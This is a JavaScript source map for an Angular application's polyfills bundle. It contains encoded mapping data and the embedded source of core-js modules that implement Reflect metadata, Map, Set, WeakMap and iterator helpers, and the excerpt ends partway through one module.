ACA;;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,cAAc;AACd;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,qDAAqD,6BAA6B,EAAE;AACpF;AACA;AACA;AACA;AACA,8CAA8C,kDAAkD,EAAE;AAClG;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,iDAAiD,sDAAsD;AACvG;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,SAAS;AACT;AACA;AACA;AACA,0FAA0F;AAC1F;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,aAAa;AACb;AACA;AACA;AACA,SAAS;AACT;AACA,sCAAsC;AACtC;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,SAAS;AACT;AACA,mBAAmB,uBAAuB;AAC1C;AACA;AACA;;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,qDAAqD,+BAA+B,EAAE;AACtF;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,qEAAqE,gBAAgB;AACrF;AACA,mBAAmB,uBAAuB;AAC1C;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,mBAAmB,0BAA0B;AAC7C;AACA;AACA,uBAAuB,uBAAuB;AAC9C;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,mBAAmB,iBAAiB;AACpC;AACA;AACA;AACA;AACA;AACA,yCAAyC,6BAA6B;AACtE;AACA;AACA;AACA;AACA;AACA;;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,aAAa;AACb;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,cAAc;AACd;AACA;AACA;AACA;AACA;AACA,CAAC;AACD;AACA;AACA;AACA;AACA;AACA;AACA,CAAC;AACD;AACA;AACA;AACA;AACA,CAAC;AACD;AACA;AACA,mBAAmB,4BAA4B;AAC/C;AACA;AACA;AACA;AACA;AACA,SAAS;AACT;AACA,CAAC;AACD;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,CAAC;AACD;AACA;AACA;AACA,CAAC;AACD;AACA;AACA;AACA,CAAC;AACD;AACA;AACA;AACA;AACA;AACA,oBAAoB;AACpB,SAAS;AACT;AACA,CAAC;AACD;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,+CAA+C,sBAAsB;AACrE;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,wCAAwC;AACxC;AACA;AACA;AACA;AACA;AACA;AACA;AACA,mFAAmF;AACnF;AACA;AACA;AACA,UAAU,EAAE;AACZ;AACA;AACA;AACA,mFAAmF;AACnF;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,+BAA+B;AAC/B;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,UAAU,EAAE;AACZ,qFAAqF;AACrF;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,UAAU,EAAE;AACZ;AACA,CAAC;AACD;AACA;AACA;AACA;AACA;AACA,CAAC;AACD;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,kEAAkE,0CAA0C;AAC5G;AACA;AACA,aAAa;AACb;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,CAAC;;AAED;AACA;AACA;AACA;AACA;AACA;AACA;;AAEA,CAAC;;;;;;;;;;;;;ACjxGD;AAAA;AAAA;AAAA;;;;;;;;;;;;;;GAcG;AAEH;;GAEG;AAEH;;GAEG;AAEH,+BAA+B;AAC/B,+BAA+B;AAC/B,iCAAiC;AACjC,kCAAkC;AAClC,oCAAoC;AACpC,+BAA+B;AAC/B,6BAA6B;AAC7B,+BAA+B;AAC/B,6BAA6B;AAC7B,8BAA8B;AAC9B,+BAA+B;AAC/B,4BAA4B;AAC5B,iCAAiC;AACjC,4BAA4B;AAE5B,+EAA+E;AAC/E,oEAAoE;AAEpE,gEAAgE;AAChE,gCAAgC;AAEhC;;;;GAIG;AACH,8EAA8E;AAE9E;;;;;;;;;;;;;;;;;;;;;;GAsBG;AAEH;;GAEG;AACwB,CAAE,6BAA6B;AAG1D;;GAEG","file":"polyfills.js","sourcesContent":["/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\nimport 'core-js/es7/reflect';\n","require('../modules/es7.reflect.define-metadata');\nrequire('../modules/es7.reflect.delete-metadata');\nrequire('../modules/es7.reflect.get-metadata');\nrequire('../modules/es7.reflect.get-metadata-keys');\nrequire('../modules/es7.reflect.get-own-metadata');\nrequire('../modules/es7.reflect.get-own-metadata-keys');\nrequire('../modules/es7.reflect.has-metadata');\nrequire('../modules/es7.reflect.has-own-metadata');\nrequire('../modules/es7.reflect.metadata');\nmodule.exports = require('../modules/_core').Reflect;\n","module.exports = function (it) {\n if (typeof it != 'function') throw TypeError(it + ' is not a function!');\n return it;\n};\n","module.exports = function (it, Constructor, name, forbiddenField) {\n if (!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)) {\n throw TypeError(name + ': incorrect invocation!');\n } return it;\n};\n","var isObject = require('./_is-object');\nmodule.exports = function (it) {\n if (!isObject(it)) throw TypeError(it + ' is not an object!');\n return it;\n};\n","var forOf = require('./_for-of');\n\nmodule.exports = function (iter, ITERATOR) {\n var result = [];\n forOf(iter, false, result.push, result, ITERATOR);\n return result;\n};\n","// false -> Array#indexOf\n// true -> Array#includes\nvar toIObject = require('./_to-iobject');\nvar toLength = require('./_to-length');\nvar toAbsoluteIndex = require('./_to-absolute-index');\nmodule.exports = function (IS_INCLUDES) {\n return function ($this, el, fromIndex) {\n var O = toIObject($this);\n var length = toLength(O.length);\n var index = toAbsoluteIndex(fromIndex, length);\n var value;\n // Array#includes uses SameValueZero equality algorithm\n // eslint-disable-next-line no-self-compare\n if (IS_INCLUDES && el != el) while (length > index) {\n value = O[index++];\n // eslint-disable-next-line no-self-compare\n if (value != value) return true;\n // Array#indexOf ignores holes, Array#includes - not\n } else for (;length > index; index++) if (IS_INCLUDES || index in O) {\n if (O[index] === el) return IS_INCLUDES || index || 0;\n } return !IS_INCLUDES && -1;\n };\n};\n","// 0 -> Array#forEach\n// 1 -> Array#map\n// 2 -> Array#filter\n// 3 -> Array#some\n// 4 -> Array#every\n// 5 -> Array#find\n// 6 -> Array#findIndex\nvar ctx = require('./_ctx');\nvar IObject = require('./_iobject');\nvar toObject = require('./_to-object');\nvar toLength = require('./_to-length');\nvar asc = require('./_array-species-create');\nmodule.exports = function (TYPE, $create) {\n var IS_MAP = TYPE == 1;\n var IS_FILTER = TYPE == 2;\n var IS_SOME = TYPE == 3;\n var IS_EVERY = TYPE == 4;\n var IS_FIND_INDEX = TYPE == 6;\n var NO_HOLES = TYPE == 5 || IS_FIND_INDEX;\n var create = $create || asc;\n return function ($this, callbackfn, that) {\n var O = toObject($this);\n var self = IObject(O);\n var f = ctx(callbackfn, that, 3);\n var length = toLength(self.length);\n var index = 0;\n var result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined;\n var val, res;\n for (;length > index; index++) if (NO_HOLES || index in self) {\n val = self[index];\n res = f(val, index, O);\n if (TYPE) {\n if (IS_MAP) result[index] = res; // map\n else if (res) switch (TYPE) {\n case 3: return true; // some\n case 5: return val; // find\n case 6: return index; // findIndex\n case 2: result.push(val); // filter\n } else if (IS_EVERY) return false; // every\n }\n }\n return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result;\n };\n};\n","var isObject = require('./_is-object');\nvar isArray = require('./_is-array');\nvar SPECIES = require('./_wks')('species');\n\nmodule.exports = function (original) {\n var C;\n if (isArray(original)) {\n C = original.constructor;\n // cross-realm fallback\n if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined;\n if (isObject(C)) {\n C = C[SPECIES];\n if (C === null) C = undefined;\n }\n } return C === undefined ? Array : C;\n};\n","// 9.4.2.3 ArraySpeciesCreate(originalArray, length)\nvar speciesConstructor = require('./_array-species-constructor');\n\nmodule.exports = function (original, length) {\n return new (speciesConstructor(original))(length);\n};\n","// getting tag from 19.1.3.6 Object.prototype.toString()\nvar cof = require('./_cof');\nvar TAG = require('./_wks')('toStringTag');\n// ES3 wrong here\nvar ARG = cof(function () { return arguments; }()) == 'Arguments';\n\n// fallback for IE11 Script Access Denied error\nvar tryGet = function (it, key) {\n try {\n return it[key];\n } catch (e) { /* empty */ }\n};\n\nmodule.exports = function (it) {\n var O, T, B;\n return it === undefined ? 'Undefined' : it === null ? 'Null'\n // @@toStringTag case\n : typeof (T = tryGet(O = Object(it), TAG)) == 'string' ? T\n // builtinTag case\n : ARG ? cof(O)\n // ES3 arguments fallback\n : (B = cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B;\n};\n","var toString = {}.toString;\n\nmodule.exports = function (it) {\n return toString.call(it).slice(8, -1);\n};\n","'use strict';\nvar dP = require('./_object-dp').f;\nvar create = require('./_object-create');\nvar redefineAll = require('./_redefine-all');\nvar ctx = require('./_ctx');\nvar anInstance = require('./_an-instance');\nvar forOf = require('./_for-of');\nvar $iterDefine = require('./_iter-define');\nvar step = require('./_iter-step');\nvar setSpecies = require('./_set-species');\nvar DESCRIPTORS = require('./_descriptors');\nvar fastKey = require('./_meta').fastKey;\nvar validate = require('./_validate-collection');\nvar SIZE = DESCRIPTORS ? '_s' : 'size';\n\nvar getEntry = function (that, key) {\n // fast case\n var index = fastKey(key);\n var entry;\n if (index !== 'F') return that._i[index];\n // frozen object case\n for (entry = that._f; entry; entry = entry.n) {\n if (entry.k == key) return entry;\n }\n};\n\nmodule.exports = {\n getConstructor: function (wrapper, NAME, IS_MAP, ADDER) {\n var C = wrapper(function (that, iterable) {\n anInstance(that, C, NAME, '_i');\n that._t = NAME; // collection type\n that._i = create(null); // index\n that._f = undefined; // first entry\n that._l = undefined; // last entry\n that[SIZE] = 0; // size\n if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that);\n });\n redefineAll(C.prototype, {\n // 23.1.3.1 Map.prototype.clear()\n // 23.2.3.2 Set.prototype.clear()\n clear: function clear() {\n for (var that = validate(this, NAME), data = that._i, entry = that._f; entry; entry = entry.n) {\n entry.r = true;\n if (entry.p) entry.p = entry.p.n = undefined;\n delete data[entry.i];\n }\n that._f = that._l = undefined;\n that[SIZE] = 0;\n },\n // 23.1.3.3 Map.prototype.delete(key)\n // 23.2.3.4 Set.prototype.delete(value)\n 'delete': function (key) {\n var that = validate(this, NAME);\n var entry = getEntry(that, key);\n if (entry) {\n var next = entry.n;\n var prev = entry.p;\n delete that._i[entry.i];\n entry.r = true;\n if (prev) prev.n = next;\n if (next) next.p = prev;\n if (that._f == entry) that._f = next;\n if (that._l == entry) that._l = prev;\n that[SIZE]--;\n } return !!entry;\n },\n // 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined)\n // 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined)\n forEach: function forEach(callbackfn /* , that = undefined */) {\n validate(this, NAME);\n var f = ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3);\n var entry;\n while (entry = entry ? entry.n : this._f) {\n f(entry.v, entry.k, this);\n // revert to the last existing entry\n while (entry && entry.r) entry = entry.p;\n }\n },\n // 23.1.3.7 Map.prototype.has(key)\n // 23.2.3.7 Set.prototype.has(value)\n has: function has(key) {\n return !!getEntry(validate(this, NAME), key);\n }\n });\n if (DESCRIPTORS) dP(C.prototype, 'size', {\n get: function () {\n return validate(this, NAME)[SIZE];\n }\n });\n return C;\n },\n def: function (that, key, value) {\n var entry = getEntry(that, key);\n var prev, index;\n // change existing entry\n if (entry) {\n entry.v = value;\n // create new entry\n } else {\n that._l = entry = {\n i: index = fastKey(key, true), // <- index\n k: key, // <- key\n v: value, // <- value\n p: prev = that._l, // <- previous entry\n n: undefined, // <- next entry\n r: false // <- removed\n };\n if (!that._f) that._f = entry;\n if (prev) prev.n = entry;\n that[SIZE]++;\n // add to index\n if (index !== 'F') that._i[index] = entry;\n } return that;\n },\n getEntry: getEntry,\n setStrong: function (C, NAME, IS_MAP) {\n // add .keys, .values, .entries, [@@iterator]\n // 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11\n $iterDefine(C, NAME, function (iterated, kind) {\n this._t = validate(iterated, NAME); // target\n this._k = kind; // kind\n this._l = undefined; // previous\n }, function () {\n var that = this;\n var kind = that._k;\n var entry = that._l;\n // revert to the last existing entry\n while (entry && entry.r) entry = entry.p;\n // get next entry\n if (!that._t || !(that._l = entry = entry ? entry.n : that._t._f)) {\n // or finish the iteration\n that._t = undefined;\n return step(1);\n }\n // return step by kind\n if (kind == 'keys') return step(0, entry.k);\n if (kind == 'values') return step(0, entry.v);\n return step(0, [entry.k, entry.v]);\n }, IS_MAP ? 'entries' : 'values', !IS_MAP, true);\n\n // add [@@species], 23.1.2.2, 23.2.2.2\n setSpecies(NAME);\n }\n};\n","'use strict';\nvar redefineAll = require('./_redefine-all');\nvar getWeak = require('./_meta').getWeak;\nvar anObject = require('./_an-object');\nvar isObject = require('./_is-object');\nvar anInstance = require('./_an-instance');\nvar forOf = require('./_for-of');\nvar createArrayMethod = require('./_array-methods');\nvar $has = require('./_has');\nvar validate = require('./_validate-collection');\nvar arrayFind = createArrayMethod(5);\nvar arrayFindIndex = createArrayMethod(6);\nvar id = 0;\n\n// fallback for uncaught frozen keys\nvar uncaughtFrozenStore = function (that) {\n return that._l || (that._l = new UncaughtFrozenStore());\n};\nvar UncaughtFrozenStore = function () {\n this.a = [];\n};\nvar findUncaughtFrozen = function (store, key) {\n return arrayFind(store.a, function (it) {\n return it[0] === key;\n });\n};\nUncaughtFrozenStore.prototype = {\n get: function (key) {\n var entry = findUncaughtFrozen(this, key);\n if (entry) return entry[1];\n },\n has: function (key) {\n return !!findUncaughtFrozen(this, key);\n },\n set: function (key, value) {\n var entry = findUncaughtFrozen(this, key);\n if (entry) entry[1] = value;\n else this.a.push([key, value]);\n },\n 'delete': function (key) {\n var index = arrayFindIndex(this.a, function (it) {\n return it[0] === key;\n });\n if (~index) this.a.splice(index, 1);\n return !!~index;\n }\n};\n\nmodule.exports = {\n getConstructor: function (wrapper, NAME, IS_MAP, ADDER) {\n var C = wrapper(function (that, iterable) {\n anInstance(that, C, NAME, '_i');\n that._t = NAME; // collection type\n that._i = id++; // collection id\n that._l = undefined; // leak store for uncaught frozen objects\n if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that);\n });\n redefineAll(C.prototype, {\n // 23.3.3.2 WeakMap.prototype.delete(key)\n // 23.4.3.3 WeakSet.prototype.delete(value)\n 'delete': function (key) {\n if (!isObject(key)) return false;\n var data = getWeak(key);\n if (data === true) return uncaughtFrozenStore(validate(this, NAME))['delete'](key);\n return data && $has(data, this._i) && delete data[this._i];\n },\n // 23.3.3.4 WeakMap.prototype.has(key)\n // 23.4.3.4 WeakSet.prototype.has(value)\n has: function has(key) {\n if (!isObject(key)) return false;\n var data = getWeak(key);\n if (data === true) return uncaughtFrozenStore(validate(this, NAME)).has(key);\n return data && $has(data, this._i);\n }\n });\n return C;\n },\n def: function (that, key, value) {\n var data = getWeak(anObject(key), true);\n if (data === true) uncaughtFrozenStore(that).set(key, value);\n else data[that._i] = value;\n return that;\n },\n ufstore: uncaughtFrozenStore\n};\n","'use strict';\nvar global = require('./_global');\nvar $export = require('./_export');\nvar redefine = require('./_redefine');\nvar redefineAll = require('./_redefine-all');\nvar meta = require('./_meta');\nvar forOf = require('./_for-of');\nvar anInstance = require('./_an-instance');\nvar isObject = require('./_is-object');\nvar fails = require('./_fails');\nvar $iterDetect = require('./_iter-detect');\nvar setToStringTag = require('./_set-to-string-tag');\nvar inheritIfRequired = require('./_inherit-if-required');\n\nmodule.exports = function (NAME, wrapper, methods, common, IS_MAP, IS_WEAK) {\n var Base = global[NAME];\n var C = Base;\n var ADDER = IS_MAP ? 'set' : 'add';\n var proto = C && C.prototype;\n var O = {};\n var fixMethod = function (KEY) {\n var fn = proto[KEY];\n redefine(proto, KEY,\n KEY == 'delete' ? function (a) {\n return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);\n } : KEY == 'has' ? function has(a) {\n return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);\n } : KEY == 'get' ? function get(a) {\n return IS_WEAK && !isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a);\n } : KEY == 'add' ? function add(a) { fn.call(this, a === 0 ? 0 : a); return this; }\n : function set(a, b) { fn.call(this, a === 0 ? 0 : a, b); return this; }\n );\n };\n if (typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function () {\n new C().entries().next();\n }))) {\n // create collection constructor\n C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER);\n redefineAll(C.prototype, methods);\n meta.NEED = true;\n } else {\n var instance = new C();\n // early implementations not supports chaining\n var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance;\n // V8 ~ Chromium 40- weak-collections throws on primitives, but should return false\n var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); });\n // most early implementations doesn't supports iterables, most modern - not close it correctly\n var ACCEPT_ITERABLES = $iterDetect(function (iter) { new C(iter); }); // eslint-disable-line no-new\n // for early implementations -0 and +0 not the same\n var BUGGY_ZERO = !IS_WEAK && fails(function () {\n // V8 ~ Chromium 42- fails only with 5+ elements\n var $instance = new C();\n var index = 5;\n while (index--) $instance[ADDER](index, index);\n return !$instance.has(-0);\n });\n if (!ACCEPT_ITERABLES) {\n C = wrapper(function (target, iterable) {\n anInstance(target, C, NAME);\n var that = inheritIfRequired(new Base(), target, C);\n if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that);\n return that;\n });\n C.prototype = proto;\n proto.constructor = C;\n }\n if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) {\n fixMethod('delete');\n fixMethod('has');\n IS_MAP && fixMethod('get');\n }\n if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER);\n // weak collections should not contains .clear method\n if (IS_WEAK && proto.clear) delete proto.clear;\n }\n\n setToStringTag(C, NAME);\n\n O[NAME] = C;\n $export($export.G + $export.W + $export.F * (C != Base), O);\n\n if (!IS_WEAK) common.setStrong(C, NAME, IS_MAP);\n\n return C;\n};\n","var core = module.exports = { version: '2.6.2' };\nif (typeof __e == 'number') __e = core; // eslint-disable-line no-undef\n","// optional / simple context binding\nvar aFunction = require('./_a-function');\nmodule.exports = function (fn, that, length) {\n aFunction(fn);\n if (that === undefined) return fn;\n switch (length) {\n case 1: return function (a) {\n return fn.call(that, a);\n };\n case 2: return function (a, b) {\n return fn.call(that, a, b);\n };\n case 3: return function (a, b, c) {\n return fn.call(that, a, b, c);\n };\n }\n return function (/* ...args */) {\n return fn.apply(that, arguments);\n };\n};\n","// 7.2.1 RequireObjectCoercible(argument)\nmodule.exports = function (it) {\n if (it == undefined) throw TypeError(\"Can't call method on \" + it);\n return it;\n};\n","// Thank's IE8 for his funny defineProperty\nmodule.exports = !require('./_fails')(function () {\n return Object.defineProperty({}, 'a', { get: function () { return 7; } }).a != 7;\n});\n","var isObject = require('./_is-object');\nvar document = require('./_global').document;\n// typeof document.createElement is 'object' in old IE\nvar is = isObject(document) && isObject(document.createElement);\nmodule.exports = function (it) {\n return is ? document.createElement(it) : {};\n};\n","// IE 8- don't enum bug keys\nmodule.exports = (\n 'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf'\n).split(',');\n","var global = require('./_global');\nvar core = require('./_core');\nvar hide = require('./_hide');\nvar redefine = require('./_redefine');\nvar ctx = require('./_ctx');\nvar PROTOTYPE = 'prototype';\n\nvar $export = function (type, name, source) {\n var IS_FORCED = type & $export.F;\n var IS_GLOBAL = type & $export.G;\n var IS_STATIC = type & $export.S;\n var IS_PROTO = type & $export.P;\n var IS_BIND = type & $export.B;\n var target = IS_GLOBAL ? global : IS_STATIC ? global[name] || (global[name] = {}) : (global[name] || {})[PROTOTYPE];\n var exports = IS_GLOBAL ? core : core[name] || (core[name] = {});\n var expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {});\n var key, own, out, exp;\n if (IS_GLOBAL) source = name;\n for (key in source) {\n // contains in native\n own = !IS_FORCED && target && target[key] !== undefined;\n // export native or passed\n out = (own ? target : source)[key];\n // bind timers to global for call from export context\n exp = IS_BIND && own ? ctx(out, global) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out;\n // extend global\n if (target) redefine(target, key, out, type & $export.U);\n // export\n if (exports[key] != out) hide(exports, key, exp);\n if (IS_PROTO && expProto[key] != out) expProto[key] = out;\n }\n};\nglobal.core = core;\n// type bitmap\n$export.F = 1; // forced\n$export.G = 2; // global\n$export.S = 4; // static\n$export.P = 8; // proto\n$export.B = 16; // bind\n$export.W = 32; // wrap\n$export.U = 64; // safe\n$export.R = 128; // real proto method for `library`\nmodule.exports = $export;\n","module.exports = function (exec) {\n try {\n return !!exec();\n } catch (e) {\n return true;\n }\n};\n","var ctx = require('./_ctx');\nvar call = require('./_iter-call');\nvar isArrayIter = require('./_is-array-iter');\nvar anObject = require('./_an-object');\nvar toLength = require('./_to-length');\nvar getIterFn = require('./core.get-iterator-method');\nvar BREAK = {};\nvar RETURN = {};\nvar exports = module.exports = function (iterable, entries, fn, that, ITERATOR) {\n var iterFn = ITERATOR ? function () { return iterable; } : getIterFn(iterable);\n var f = ctx(fn, that, entries ? 2 : 1);\n var index = 0;\n var length, step, iterator, result;\n if (typeof iterFn != 'function') throw TypeError(iterable + ' is not iterable!');\n // fast case for arrays with default iterator\n if (isArrayIter(iterFn)) for (length = toLength(iterable.length); length > index; index++) {\n result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]);\n if (result === BREAK || result === RETURN) return result;\n } else for (iterator = iterFn.call(iterable); !(step = iterator.next()).done;) {\n result = call(iterator, f, step.value, entries);\n if (result === BREAK || result === RETURN) return result;\n }\n};\nexports.BREAK = BREAK;\nexports.RETURN = RETURN;\n","// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028\nvar global = module.exports = typeof window != 'undefined' && window.Math == Math\n ? window : typeof self != 'undefined' && self.Math == Math ? self\n // eslint-disable-next-line no-new-func\n : Function('return this')();\nif (typeof __g == 'number') __g = global; // eslint-disable-line no-undef\n","var hasOwnProperty = {}.hasOwnProperty;\nmodule.exports = function (it, key) {\n return hasOwnProperty.call(it, key);\n};\n","var dP = require('./_object-dp');\nvar createDesc = require('./_property-desc');\nmodule.exports = require('./_descriptors') ? function (object, key, value) {\n return dP.f(object, key, createDesc(1, value));\n} : function (object, key, value) {\n object[key] = value;\n return object;\n};\n","var document = require('./_global').document;\nmodule.exports = document && document.documentElement;\n","module.exports = !require('./_descriptors') && !require('./_fails')(function () {\n return Object.defineProperty(require('./_dom-create')('div'), 'a', { get: function () { return 7; } }).a != 7;\n});\n","var isObject = require('./_is-object');\nvar setPrototypeOf = require('./_set-proto').set;\nmodule.exports = function (that, target, C) {\n var S = target.constructor;\n var P;\n if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf) {\n setPrototypeOf(that, P);\n } return that;\n};\n","// fallback for non-array-like ES3 and non-enumerable old V8 strings\nvar cof = require('./_cof');\n// eslint-disable-next-line no-prototype-builtins\nmodule.exports = Object('z').propertyIsEnumerable(0) ? Object : function (it) {\n return cof(it) == 'String' ? it.split('') : Object(it);\n};\n","// check on default Array iterator\nvar Iterators = require('./_iterators');\nvar ITERATOR = require('./_wks')('iterator');\nvar ArrayProto = Array.prototype;\n\nmodule.exports = function (it) {\n return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it);\n};\n","// 7.2.2 IsArray(argument)\nvar cof = require('./_cof');\nmodule.exports = Array.isArray || function isArray(arg) {\n return cof(arg) == 'Array';\n};\n","module.exports = function (it) {\n return typeof it === 'object' ? it !== null : typeof it === 'function';\n};\n","// call something on iterator step with safe closing on error\nvar anObject = require('./_an-object');\nmodule.exports = function (iterator, fn, value, entries) {\n try {\n return entries ? fn(anObject(value)[0], value[1]) : fn(value);\n // 7.4.6 IteratorClose(iterator, completion)\n } catch (e) {\n var ret = iterator['return'];\n if (ret !== undefined) anObject(ret.call(iterator));\n throw e;\n }\n};\n","'use strict';\nvar create = require('./_object-create');\nvar descriptor = require('./_property-desc');\nvar setToStringTag = require('./_set-to-string-tag');\nvar IteratorPrototype = {};\n\n// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()\nrequire('./_hide')(IteratorPrototype, require('./_wks')('iterator'), function () { return this; });\n\nmodule.exports = function (Constructor, NAME, next) {\n Constructor.prototype = create(IteratorPrototype, { next: descriptor(1, next) });\n setToStringTag(Constructor, NAME + ' Iterator');\n};\n","'use strict';\nvar LIBRARY = require('./_library');\nvar $export = require('./_export');\nvar redefine = require('./_redefine');\nvar hide = require('./_hide');\nvar Iterators = require('./_iterators');\nvar $iterCreate = require('./_iter-create');\nvar setToStringTag = require('./_set-to-string-tag');\nvar getPrototypeOf = require('./_object-gpo');\nvar ITERATOR = require('./_wks')('iterator');\nvar BUGGY = !([].keys && 'next' in [].keys()); // Safari has buggy iterators w/o `next`\nvar FF_ITERATOR = '@@iterator';\nvar KEYS = 'keys';\nvar VALUES = 'values';\n\nvar returnThis = function () { return this; };\n\nmodule.exports = function (Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED) {\n $iterCreate(Constructor, NAME, next);\n var getMethod = function (kind) {\n if (!BUGGY && kind in proto) return proto[kind];\n switch (kind) {\n case KEYS: return function keys() { return new Constructor(this, kind); };\n case VALUES: return function values() { return new Constructor(this, kind); };\n } return function entries() { return new 